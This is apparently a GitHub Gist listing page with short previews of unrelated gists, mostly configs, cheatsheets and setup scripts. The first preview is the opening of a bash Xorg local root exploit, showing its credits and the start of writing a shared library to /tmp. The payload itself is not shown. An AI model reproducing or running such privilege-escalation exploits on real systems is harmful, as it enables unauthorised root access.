Skip to content

Instantly share code, notes, and snippets.

#!/bin/bash
# x0rg - Xorg Local Root Exploit
# Released under the Snitches Get Stitches Public Licence.
# props to prdelka / fantastic for the shadow vector.
# Gr33tz to everyone in #lizardhq and elsewhere <3
# ~infodox (25/10/2018)
# FREE LAURI LOVE!
echo "x0rg"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
@pabl0rg
pabl0rg / Generate Squash Classes.groovy
Last active February 15, 2023 12:11
Generate Squash classes from existing DB table
import com.intellij.database.model.DasTable
import com.intellij.database.model.ObjectKind
import com.intellij.database.util.Case
import com.intellij.database.util.DasUtil
/*
* Available context bindings:
* SELECTION Iterable<DasObject>
* PROJECT project
* FILES files helper
@Neo23x0
Neo23x0 / audit.rules
Last active January 13, 2024 14:12
Linux Auditd Best Practice Configuration
# IMPORTANT!
# This gist has been transformed into a github repo
# You can find the most recent version there:
# https://github.com/Neo23x0/auditd
# ___ ___ __ __
# / | __ ______/ (_) /_____/ /
# / /| |/ / / / __ / / __/ __ /
# / ___ / /_/ / /_/ / / /_/ /_/ /
# /_/ |_\__,_/\__,_/_/\__/\__,_/
@graymouser
graymouser / gist:8771fdcf0d7715929073b4f8b6143b40
Created November 12, 2016 12:47
Setup taskwarrior taskserver on ec2 amazon linux
#A sequence for installing a taskwarrior server on an ec2 amazon linux instance
#hopefully this can save someone a bunch of time
#FIRST go to the ec2 instance management panel,
#edit the security group for the instance and add an inbound rule, custom tcp, port 53589, source anywhere (0.0.0.0/0)
#THEN ssh to the box as ec2-user and run the following
#build taskserver
sudo yum install gcc cmake gnutls-devel gnutls-utils libuuid-devel clang
curl -O http://taskwarrior.org/download/taskd-latest.tar.gz
@LeCoupa
LeCoupa / redis_cheatsheet.bash
Last active March 18, 2024 09:08
Redis Cheatsheet - Basic Commands You Must Know --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
# Redis Cheatsheet
# All the commands you need to know
redis-server /path/redis.conf # start redis with the related configuration file
redis-cli # opens a redis prompt
# Strings.
@cstewart90
cstewart90 / factories.txt
Last active August 26, 2022 23:59
Default Quake Live Factories (formatted)
[{
"cvars": {
"timelimit": "5",
"fraglimit": "10",
"g_overtime": "0",
"g_training": "1",
"bot_dynamicSkill": "1",
"practiceflags": "0",
"bot_startingSkill": "2",
"g_allowkill": "0",
@ozh
ozh / server.cfg
Last active August 22, 2022 00:00
Quakelive Server Config
// Servers have the ability to run multiple gametypes, known as "factories." You should not add gameplay related
// cvars in the server config: they may get overwritten by the factory. For creating your own sets of gameplay rules,
// create a file ending in ".factories" inside baseq3/scripts, and refer to "Creating custom gametypes" in the
// server_readme.txt file.
// Be aware that factories can override any cvar, including ones specified in this config file.
set sv_hostname "SARL | CA | elo+stats | GLHF"
set sv_tags "clanarena, qlstats.net, ELO, SARL, no-whiners, glhf" // Comma delimited field of server tags to show in server browser.
@phiresky
phiresky / motioninterpolation.vpy
Last active April 11, 2024 00:36
Realtime motion interpolating 60fps playback in mpv
# vim: set ft=python:
# see the README at https://gist.github.com/phiresky/4bfcfbbd05b3c2ed8645
# source: https://github.com/mpv-player/mpv/issues/2149
# source: https://github.com/mpv-player/mpv/issues/566
# source: https://github.com/haasn/gentoo-conf/blob/nanodesu/home/nand/.mpv/filters/mvtools.vpy
import vapoursynth
core = vapoursynth.get_core()
@scy
scy / opening-and-closing-an-ssh-tunnel-in-a-shell-script-the-smart-way.md
Last active May 8, 2024 05:28
Opening and closing an SSH tunnel in a shell script the smart way

Opening and closing an SSH tunnel in a shell script the smart way

I recently had the following problem:

  • From an unattended shell script (called by Jenkins), run a command-line tool that accesses the MySQL database on another host.
  • That tool doesn't know that the database is on another host, plus the MySQL port on that host is firewalled and not accessible from other machines.

We didn't want to open the MySQL port to the network, but it's possible to SSH from the Jenkins machine to the MySQL machine. So, basically you would do something like

ssh -L 3306:localhost:3306 remotehost

@mardix
mardix / php-cs-fixer-pre-commit.php
Created September 4, 2012 17:06
A pre-commit hook to make PHP code PSR-2 compliant, check for syntax error
#!/usr/bin/php
<?php
/**
* .git/hooks/pre-commit
*
* This pre-commit hooks will check for PHP error (lint), and make sure the code
* is PSR compliant.
*
* Dependecy: PHP-CS-Fixer (https://github.com/fabpot/PHP-CS-Fixer)
*